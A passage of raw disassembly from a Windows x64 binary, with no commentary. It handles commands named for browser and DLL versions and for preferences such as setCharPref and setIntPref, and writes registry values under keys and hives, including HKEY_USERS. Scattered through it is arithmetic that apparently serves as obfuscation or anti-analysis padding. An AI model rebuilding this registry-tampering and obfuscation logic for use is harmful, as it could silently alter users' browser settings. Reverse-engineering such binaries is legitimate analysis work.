add rax, 0x18
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsi + 0x40]
add rax, 0x2cc
mov qword [rsp + 0x298], rax
mov edx, dword [rax]
lea rcx, [rsp + 0x4be0]
call fcn.14005ff60
mov qword [rsp + 0xd20], rax
cmp qword [rax + 0x18], 0x10
jb 0x140061a08
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x6f0]
call fcn.140003420
mov rbx, rax
lea r8, str._from
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x7f0]
call fcn.14001aed0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x190]
call fcn.14000feb0
nop
mov rcx, qword [rsp + 0x7f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x590], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061a7e
mov rdx, qword [rsp + 0x590]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x6f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061ab0
mov rdx, qword [rsp + 0x5a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4bf8], 0x10
jb 0x140061ac8
mov rcx, qword [rsp + 0x4be0]
call fcn.1400cbac0
mov qword [rsp + 0x4bf8], 0xf
mov qword [rsp + 0x4bf0], rdi
mov byte [rsp + 0x4be0], 0
mov rax, qword [rsp + 0x298]
mov edx, dword [rax]
lea rcx, [rsp + 0x4c20]
call fcn.14005ff60
mov qword [rsp + 0x9c0], rax
cmp qword [rax + 0x18], 0x10
jb 0x140061b0d
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x700]
call fcn.140003420
mov rbx, rax
lea r8, [0x14014cca8]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x7a0]
call fcn.14001aed0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x180]
call fcn.14000feb0
nop
mov rcx, qword [rsp + 0x7a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061b83
mov rdx, qword [rsp + 0x5b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x700]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061bb5
mov rdx, qword [rsp + 0x5c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4c38], 0x10
jb 0x140061bcd
mov rcx, qword [rsp + 0x4c20]
call fcn.1400cbac0
mov qword [rsp + 0x4c38], 0xf
mov qword [rsp + 0x4c30], rdi
mov byte [rsp + 0x4c20], 0
mov rcx, qword [rsp + 0x298]
mov edx, dword [rcx]
lea eax, [rdx + 1]
mov dword [rcx], eax
lea rcx, [rsp + 0x4ba0]
call fcn.14005ff60
mov qword [rsp + 0xfb0], rax
cmp qword [rax + 0x18], 0x10
jb 0x140061c17
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x710]
call fcn.140003420
mov rbx, rax
lea r8, [0x14014cd00]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x820]
call fcn.14001aed0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x170]
call fcn.14000feb0
nop
mov rcx, qword [rsp + 0x820]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061c8d
mov rdx, qword [rsp + 0x5d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x710]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061cbf
mov rdx, qword [rsp + 0x5e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4bb8], 0x10
jb 0x140061cd7
mov rcx, qword [rsp + 0x4ba0]
call fcn.1400cbac0
mov qword [rsp + 0x4bb8], 0xf
mov qword [rsp + 0x4bb0], rdi
mov byte [rsp + 0x4ba0], 0
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [rsp + 0x1a0]
mov rcx, qword [rsi + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140061fa5
mov rax, qword [rsp + 0x80]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x7d0], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov r14, qword [rsp + 0x7b0]
mov qword [rsp + 0x20], r14
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x190]
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140061fa5
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsp + 0x180]
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140061fa5
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x490], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rbx, qword [rsp + 0x5f0]
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x170]
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140061fa5
lea r8, [rsp + 0xf0]
lea rdx, [rsp + 0xc0]
mov rcx, rsi
call fcn.140065800
mov rcx, rbx
call fcn.1400cc598
mov rcx, r14
call fcn.1400cc598
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r12, r12
je 0x140061e48
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], r15w
mov rcx, qword [rsp + 0x170]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x720], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061e7a
mov rdx, qword [rsp + 0x720]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x180]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x600], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061eac
mov rdx, qword [rsp + 0x600]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x190]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x800], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061ede
mov rdx, qword [rsp + 0x800]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x610], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061f10
mov rdx, qword [rsp + 0x610]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x3e0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061f42
mov rdx, qword [rsp + 0x3e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x3e8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061f74
mov rdx, qword [rsp + 0x3e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x3f8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065500
mov rdx, qword [rsp + 0x3f8]
jmp 0x1400654f7
test r12, r12
je 0x140061fba
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
mov rcx, qword [rsp + 0x170]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x408], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061fec
mov rdx, qword [rsp + 0x408]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x180]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x418], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006201e
mov rdx, qword [rsp + 0x418]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x190]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x428], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062050
mov rdx, qword [rsp + 0x428]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x438], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062082
mov rdx, qword [rsp + 0x438]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xc0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x448], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400620b4
mov rdx, qword [rsp + 0x448]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x458], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400620e6
mov rdx, qword [rsp + 0x458]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x468], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062118
mov rdx, qword [rsp + 0x468]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x478], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062147
mov rdx, qword [rsp + 0x478]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4b28], 0x10
jb 0x14006215f
mov rcx, qword [rsp + 0x4b10]
call fcn.1400cbac0
mov qword [rsp + 0x4b28], 0xf
mov qword [rsp + 0x4b20], rdi
mov byte [rsp + 0x4b10], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x488], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400621aa
mov rdx, qword [rsp + 0x488]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4c60]
call fcn.1400197a0
nop
lea rcx, [rsp + 0x58]
call fcn.1400381f0
nop
mov rbx, qword [rsp + 0x40]
jmp 0x140065646
test r12, r12
je 0x1400621e2
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x498], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062214
mov rdx, qword [rsp + 0x498]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4a8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062246
mov rdx, qword [rsp + 0x4a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4b8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062275
mov rdx, qword [rsp + 0x4b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4b28], 0x10
jb 0x14006228d
mov rcx, qword [rsp + 0x4b10]
call fcn.1400cbac0
mov qword [rsp + 0x4b28], 0xf
mov qword [rsp + 0x4b20], rdi
mov byte [rsp + 0x4b10], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4c8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400622d8
mov rdx, qword [rsp + 0x4c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4c60]
call fcn.1400197a0
nop
lea rcx, [rsp + 0x58]
call fcn.1400381f0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140065651
lea rdx, str.getCurrentCppTime
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
jne 0x140062562
test r12, r12
je 0x140062504
mov r9d, dword [0x1401bdd80]
lea r8d, [r9 + 1]
mov ecx, r8d
imul ecx, r9d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 5
cmove r9d, r8d
mov dword [0x1401bdd80], r9d
lea rcx, [rsp + 0x4d8]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov qword [rsp + 0x1b0], rdi
mov rcx, qword [rsp + 0x4d8]
mov qword [rsp + 0x1b0], rcx
movabs rax, 0xcccccccccccccccd
mul rcx
shr rdx, 3
mov qword [rsp + 0x1b0], rdx
lea rcx, [0x1401b59a8]
mov rax, qword [0x1401b59a8]
call qword [rax + 0x18]
mov qword [rsp + 0x9d0], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x2a8], rbx
mov esi, edi
mov dword [rsp + 0xe0], edi
nop dword [rax + rax]
cmp esi, 8
jge 0x140062489
lea rcx, [0x1401b59a8]
mov rax, qword [0x1401b59a8]
call qword [rax + 0x18]
mov qword [rsp + 0xd30], rax
add rax, 0x18
mov qword [rsp + 0x330], rax
movsxd rax, esi
movzx r8d, byte [rsp + rax + 0x1b0]
lea rdx, str._.2x
lea rcx, [rsp + 0x330]
call fcn.140012200
mov rbx, qword [rsp + 0x330]
mov r8d, dword [rbx - 0x10]
mov dword [rsp + 0x670], r8d
mov rdx, rbx
lea rcx, [rsp + 0x2a8]
call fcn.140010970
nop
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x4e8], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x14006246c
mov rdx, qword [rsp + 0x4e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov esi, dword [rsp + 0xe0]
inc esi
mov dword [rsp + 0xe0], esi
mov rbx, qword [rsp + 0x2a8]
jmp 0x1400623d0
mov edx, dword [rbx - 0x10]
mov dword [rsp + 0x4a0], edx
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x9e0], rax
test rax, rax
jne 0x1400624ae
call fcn.140002580
mov qword [r12 + 8], rax
call fcn.140060180
test al, al
jne 0x1400624d1
mov dword [rsp + 0x1000], edi
mov dword [rsp + 0x1050], edi
mov dword [rsp + 0x10e0], edi
mov eax, 8
mov word [r12], ax
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x4f8], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x140062504
mov rdx, qword [rsp + 0x4f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r8d, dword [0x1401bdd80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
cmp ecx, 9
jne 0x140065500
mov dword [rsp + 0x168], edi
movsxd rax, edi
cmp rax, 0xd0
jae 0x140065500
mov eax, dword [rsp + rax*4 + 0x4de0]
imul eax, eax, 0x6d
add r8d, eax
mov dword [0x1401bdd80], r8d
inc edi
jmp 0x140062534
lea rdx, str.getChromeVersion
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
jne 0x1400625fc
lea rdx, [rsp + 0x3b0]
mov rcx, qword [rsi + 0x40]
call fcn.140060280
nop
test r12, r12
je 0x1400625cb
mov rcx, qword [rsp + 0x3b0]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x760], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xf40], rax
test rax, rax
jne 0x1400625bc
call fcn.140002580
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov rcx, qword [rsp + 0x3b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x508], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065500
mov rdx, qword [rsp + 0x508]
jmp 0x1400654f7
lea rdx, str.getDLLVersion
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
jne 0x140062696
lea rdx, [rsp + 0x2b8]
mov rcx, qword [rsi + 0x40]
call fcn.1400602d0
nop
test r12, r12
je 0x140062665
mov rcx, qword [rsp + 0x2b8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x4b0], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x9f0], rax
test rax, rax
jne 0x140062656
call fcn.140002580
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov rcx, qword [rsp + 0x2b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x518], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065500
mov rdx, qword [rsp + 0x518]
jmp 0x1400654f7
lea rdx, str.getCharPref
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
je 0x140064ff5
lea rdx, str.getIntPref
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
je 0x140064ff5
lea rdx, str.setCharPref
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
jne 0x140062c31
call fcn.140060020
test al, al
jne 0x1400626ff
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xd40], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xa00], rax
cmp byte [rax + 8], 4
jne 0x140065500
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xff0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xa10], rax
cmp byte [rax + 8], 4
jne 0x140065500
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xd50], rax
lea rdx, [0x14014ce08]
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xa20], rax
cmp byte [rax + 8], 4
jne 0x140065500
mov byte [rsp + 0x52], 0
mov qword [rsp + 0x1c0], rdi
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xf50], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140038e30
mov qword [rsp + 0xa30], rax
cmp rax, r14
je 0x140062a47
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xd60], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xa40], rax
mov rdx, qword [rax]
mov qword [rsp + 0xfc0], rdx
lea rcx, [rsp + 0x340]
call fcn.140003420
nop
mov rbx, qword [rsi + 0x50]
mov qword [rsp + 0x1c0], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x340]
call fcn.140003880
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x1c0], rbx
mov rcx, qword [rsp + 0x340]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x528], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400628a2
mov rdx, qword [rsp + 0x528]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x1c0]
test rbx, rbx
je 0x140062a47
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xa50], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xd70], rax
mov rdx, qword [rax]
mov qword [rsp + 0xa60], rdx
lea rcx, [rsp + 0x2d8]
call fcn.140003420
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xf60], rax
lea rdx, [0x14014ce08]
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xa70], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd80], rdx
lea rcx, [rsp + 0x2d0]
call fcn.140003420
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xa80], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xfe8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xa90], rdx
lea rcx, [rsp + 0x2c8]
call fcn.140003420
nop
mov r9, rbx
lea r8, [rsp + 0x2d8]
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0x2c8]
call fcn.140048a10
mov byte [rsp + 0x52], al
mov rcx, qword [rsp + 0x2c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x538], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400629e4
mov rdx, qword [rsp + 0x538]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x548], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062a16
mov rdx, qword [rsp + 0x548]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x558], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062c09
mov rdx, qword [rsp + 0x558]
jmp 0x140062c00
lea rax, [rsp + 0x568]
mov qword [rsp + 0xd90], rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xaa0], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xf70], rax
mov rdx, qword [rax]
mov qword [rsp + 0xab0], rdx
lea rcx, [rsp + 0x2f0]
call fcn.140003420
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xda0], rax
lea rdx, [0x14014ce08]
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xac0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xfd0], rdx
lea rcx, [rsp + 0x350]
call fcn.140003420
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xad0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xae0], rdx
lea rcx, [rsp + 0x2e0]
call fcn.140003420
nop
lea rdx, [0x140146fd8]
lea rcx, [rsp + 0x568]
call fcn.1400021f0
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401b8d58]
lea r8, [rsp + 0x2f0]
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x2e0]
call fcn.140048640
mov byte [rsp + 0x52], al
mov rcx, qword [rsp + 0x2e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x578], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062ba6
mov rdx, qword [rsp + 0x578]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x350]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x588], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062bd8
mov rdx, qword [rsp + 0x588]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x598], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062c09
mov rdx, qword [rsp + 0x598]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r12, r12
je 0x140065500
movzx eax, byte [rsp + 0x52]
neg al
sbb cx, cx
mov word [r12 + 8], cx
mov esi, 0xb
mov word [r12], si
jmp 0x140065500
lea rdx, str.setIntPref
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
jne 0x140063195
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xf80], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xaf0], rax
cmp byte [rax + 8], 4
jne 0x140065500
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xdc0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xb00], rax
cmp byte [rax + 8], 4
jne 0x140065500
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xff8], rax
lea rdx, [0x14014ce08]
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xb10], rax
movzx ecx, byte [rax + 8]
lea eax, [rcx - 1]
cmp al, 2
jbe 0x140062d02
cmp cl, 5
jne 0x140065500
mov byte [rsp + 0x50], 0
mov qword [rsp + 0x1d0], rdi
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xdd0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140038e30
mov qword [rsp + 0xb20], rax
cmp rax, r14
je 0x140063007
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xf90], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xb30], rax
mov rdx, qword [rax]
mov qword [rsp + 0xde0], rdx
lea rcx, [rsp + 0x3a0]
call fcn.140003420
nop
mov rbx, qword [rsi + 0x50]
mov qword [rsp + 0x1d0], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x3a0]
call fcn.140003880
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x1d0], rbx
mov ecx, dword [0x1401bdd80]
lea eax, [rcx + 1]
imul eax, ecx
and eax, 0x80000007
jge 0x140062de0
dec eax
or eax, 0xfffffff8
inc eax
cmp eax, 1
jne 0x140062e6d
mov dword [rsp + 0x218], edi
test ecx, ecx
je 0x140062e6d
inc edi
mov dword [rsp + 0x218], edi
mov eax, ecx
and eax, 0x80000001
jge 0x140062e0d
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140062e22
mov eax, ecx
cdq
sub eax, edx
